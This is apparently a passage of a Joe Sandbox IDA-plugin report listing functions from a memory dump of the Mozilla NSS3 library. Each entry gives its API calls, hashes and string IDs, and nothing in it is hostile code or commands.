Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: a8a08e04084f5ec3dc844ff4dd0a48ba488c4cc6b1de3de47860060575b346ac
Instruction ID: 0a075832d3e99d2c4fc8506b5da6ace977636dc25b32a903cf2a4cbd67d52a9b
Opcode Fuzzy Hash: a8a08e04084f5ec3dc844ff4dd0a48ba488c4cc6b1de3de47860060575b346ac
Instruction Fuzzy Hash: A141A171A193119FC710CE29CA48A4FB7E5BBD8724F458A2DFD9993700E734E9098792

Function 6C748C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C748C7C

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C748CB0
TlsGetValue.KERNEL32 ref: 6C748CD1
EnterCriticalSection.KERNEL32(?), ref: 6C748CE5
PR_Unlock.NSS3(?), ref: 6C748D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C748D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C748D93

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 596b6a92b4c380058b0dc962e8623056524e2eac0422a59afbbf1e5246398316
Instruction ID: 5ab71ad88fd6152bc595a5d425ca889bc04f0737ad067d75e036bfcbba568349
Opcode Fuzzy Hash: 596b6a92b4c380058b0dc962e8623056524e2eac0422a59afbbf1e5246398316
Instruction Fuzzy Hash: EE319B71E02209AFD7109F68CE497DAB7B4FF59318F244136EA19A7B50D730A924CBC1

Function 6C77DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C77D9E4,00000000), ref: 6C77DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C77D9E4,00000000), ref: 6C77DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C77D9E4,00000000), ref: 6C77DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C77DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C77DCAD

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 6c5ce5db520197f6f89485e054bfba7df0f4c6cb8f6bd796c791d65bc4d3b0c7
Instruction ID: 547a7a424ee7dca1a5ce68ff24f8e39a83a886b32157e2b35170704b381e3958
Opcode Fuzzy Hash: 6c5ce5db520197f6f89485e054bfba7df0f4c6cb8f6bd796c791d65bc4d3b0c7
Instruction Fuzzy Hash: A83181B55012089FDB20CF1DDA84A96B7F8AF15358F144438E94CCBB01E771E944CBA5

Function 6C742E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C73E728,?,00000038,?,?,00000000), ref: 6C742E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C742E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C742E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C742E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C742E9E
PR_Unlock.NSS3(?), ref: 6C742EAB
PR_Unlock.NSS3(?), ref: 6C742F0D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 7d5c2d58d6ebcc39f3bbe006d912680fd9679d54c943c9ffc650952a764d4ff4
Instruction ID: b1eff1b28246c3f20dcbf41ee04a228af6220934ae21f6b69503df4ee1be1be5
Opcode Fuzzy Hash: 7d5c2d58d6ebcc39f3bbe006d912680fd9679d54c943c9ffc650952a764d4ff4
Instruction Fuzzy Hash: 6331E2B6A00515ABEB119F28D94C86AB778EF5525CB488174EC08C7A22FB31EC64C7E1

Function 6C78CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C78CD93,?), ref: 6C78CEEE

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C78CD93,?), ref: 6C78CEFC

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C78CD93,?), ref: 6C78CF0B

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C78CD93,?), ref: 6C78CF1D

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C78CD93,?,?,?,?,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF78

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 8826f269c2db0152bdec8556b167df4439324fd7245829622b562e7a15975618
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F711E7B2E022045BFB10AA767E49B6B75EC9F4424EF104139EE19D7741FB60D908C6B1

Function 6C738C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C738C1B
EnterCriticalSection.KERNEL32 ref: 6C738C34
PL_ArenaAllocate.NSS3 ref: 6C738C65
PR_Unlock.NSS3 ref: 6C738C9C
PR_Unlock.NSS3 ref: 6C738CB6

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Strings

KRAM, xrefs: 6C738C8F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 49b98bd024b2b398da1c54b60bbd5b519979a40a4a858da020f2061e55ade60d
Instruction ID: fc2061b1e94e9da5c99feab98367a468509ba651ced0e8cfc3c7f971421b6a8c
Opcode Fuzzy Hash: 49b98bd024b2b398da1c54b60bbd5b519979a40a4a858da020f2061e55ade60d
Instruction Fuzzy Hash: 4A2160B1A056118FD700AF78C588559BBF4FF85308F0599BAD888CB712EB35D885CBD2

Function 6C748E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C762E62,?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C), ref: 6C748EA2

Part of subcall function 6C76F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C76F854
Part of subcall function 6C76F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C76F868
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C76F882
Part of subcall function 6C76F820: free.MOZGLUE(04C483FF,?,?), ref: 6C76F889
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C76F8A4
Part of subcall function 6C76F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C76F8AB
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C76F8C9
Part of subcall function 6C76F820: free.MOZGLUE(280F10EC,?,?), ref: 6C76F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C762E62,?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C), ref: 6C748EC3
TlsGetValue.KERNEL32(?,?,?,6C762E62,?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C), ref: 6C748EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C762E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C748EF1
PR_Unlock.NSS3 ref: 6C748F20

Strings

b.vl, xrefs: 6C748E96, 6C748F25

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.vl
API String ID: 1978757487-3218700413
Opcode ID: d528a1045e80d6684826d5b064bc01b04910d7c6ed1a295e75b67ac4e37e8d31
Instruction ID: 9feed844e632772b5c95a7e0acf308e93dfbd9c5fe32130118d4efaaf102ee00
Opcode Fuzzy Hash: d528a1045e80d6684826d5b064bc01b04910d7c6ed1a295e75b67ac4e37e8d31
Instruction Fuzzy Hash: 5B216D709096199FC700AF29D6886A9BBF4BF48318F05856EEC98D7B41E730E854CBD2

Function 6C778970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C7261C4,?,6C725639,00000000), ref: 6C778991
TlsGetValue.KERNEL32(?,?,?,?,?,6C725639,00000000), ref: 6C7789AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C725639,00000000), ref: 6C7789C6
PR_WaitCondVar.NSS3 ref: 6C7789F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C725639,00000000), ref: 6C778A0C

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Strings

9Vrl, xrefs: 6C778986

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9Vrl
API String ID: 2759447159-2639989810
Opcode ID: 161ec0e224fd02312a543235ecc4f535bb01b6afecc59c75d8ed724ac24904be
Instruction ID: e0846ccf9cf48f6441cf23687f2c8c6e45346596de34df1dbcaa2872c2b2a0f5
Opcode Fuzzy Hash: 161ec0e224fd02312a543235ecc4f535bb01b6afecc59c75d8ed724ac24904be
Instruction Fuzzy Hash: DC2151B0904609CFCF21AF78C5881A9BBB4BF06318F154676DC98A7605E730D894CBE2

Function 6C832C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C832CA0
PR_ExitMonitor.NSS3 ref: 6C832CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C832CD1
strdup.MOZGLUE(?), ref: 6C832CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C832D27

Strings

Loaded library %s (static lib), xrefs: 6C832D22

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 4184d5775fae54448e18649b86c348682b38f9c1f3ee4f0c43e58c5964af4255
Instruction ID: e138821f6b8876bb739610abe9ffc0fdf429550331c54585756fcd72971e143d
Opcode Fuzzy Hash: 4184d5775fae54448e18649b86c348682b38f9c1f3ee4f0c43e58c5964af4255
Instruction Fuzzy Hash: F01103B16022248FEB319F59DA486A677B4AB8630DF04983DD81D87F02DB35D809CBE1

Function 6C7268E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7268FB
EnterCriticalSection.KERNEL32 ref: 6C726913
PORT_FreeArena_Util.NSS3 ref: 6C72693E
PR_Unlock.NSS3 ref: 6C726946
DeleteCriticalSection.KERNEL32 ref: 6C726951
free.MOZGLUE ref: 6C72695D
PR_Unlock.NSS3 ref: 6C726968

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 8700e8071e0759e89c20c57631a8031c67cccd9c2c3da3d5b6c996097f1d4e16
Instruction ID: 5dfa3cbff34f1ec90c6f43e1cf42bf226c4aa960cce75ca965f8d82b59a35772
Opcode Fuzzy Hash: 8700e8071e0759e89c20c57631a8031c67cccd9c2c3da3d5b6c996097f1d4e16
Instruction Fuzzy Hash: D5113AB1A046159FDB01AF79C18856EBBF4BF02348F05457DD898DB601EB34D598CBE2

Function 6C780FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B
TlsGetValue.KERNEL32(00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781044
free.MOZGLUE(00000000,?,00000800,6C71EF74,00000000), ref: 6C781064

Strings

security, xrefs: 6C781025

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 91c55b34a2e74c2739c2fb04636291348bdd580f2e4da64c941dd1e934aba06b
Instruction ID: bc96f128b559dbe77261e50f6f16cf9c9b22ad54ba31a6208f6704f5d289dfb3
Opcode Fuzzy Hash: 91c55b34a2e74c2739c2fb04636291348bdd580f2e4da64c941dd1e934aba06b
Instruction Fuzzy Hash: 66014871A422509BE7312F3D9E0CB9A7A68BF0274DF050535EA28D7E62EB60C154DBE1

Function 6C7B1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7B1C74

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C7B1C92
free.MOZGLUE(?), ref: 6C7B1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C7B1CCB
free.MOZGLUE(?), ref: 6C7B1CD2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 2e307139cf8073839898a4d9fe08dded0eba9732e5312308e394bff0c39c02ee
Instruction ID: fda507a62ded223d2faa4abc79bd07789a732227b4156890fb90027eb76c2058
Opcode Fuzzy Hash: 2e307139cf8073839898a4d9fe08dded0eba9732e5312308e394bff0c39c02ee
Instruction Fuzzy Hash: E10180B1F026215FDE31AFA89E0DB4977B8AB0771DF140135E90AB2E41E739A105C7E2

Function 6C7C49C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C7B5F34,00000A20), ref: 6C7C49EC

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C7B5F34,00000A20,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7C49F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C7B5F34,00000A20,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7C4A06
free.MOZGLUE(?,?,?,?,?,6C7B5F34,00000A20), ref: 6C7C4A16
free.MOZGLUE(?,?,?,?,?,6C7B5F34,00000A20), ref: 6C7C4A1C

Strings

4_{l , xrefs: 6C7C49C6, 6C7C4A21

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_{l
API String ID: 2193358613-482894951
Opcode ID: c2e46286b2188638df2600bdcf9e5c3acbde5df76f01534de22bc5257c5c9940
Instruction ID: 2351faa6060a82aa1445dd3500639ad1e5c54eaf4e6fb6647d67fd8c33bbaa44
Opcode Fuzzy Hash: c2e46286b2188638df2600bdcf9e5c3acbde5df76f01534de22bc5257c5c9940
Instruction Fuzzy Hash: 5A014CB6A001049FCF10CF69DD88C967BBCAF8A2593058075E909DB702E731E904CBB1

Function 6C83C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6C7B1AB6,00000000,?,?,6C7B07B9,?), ref: 6C83C9C6
free.MOZGLUE(?,?,6C7B07B9,?), ref: 6C83C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6C83C9E5
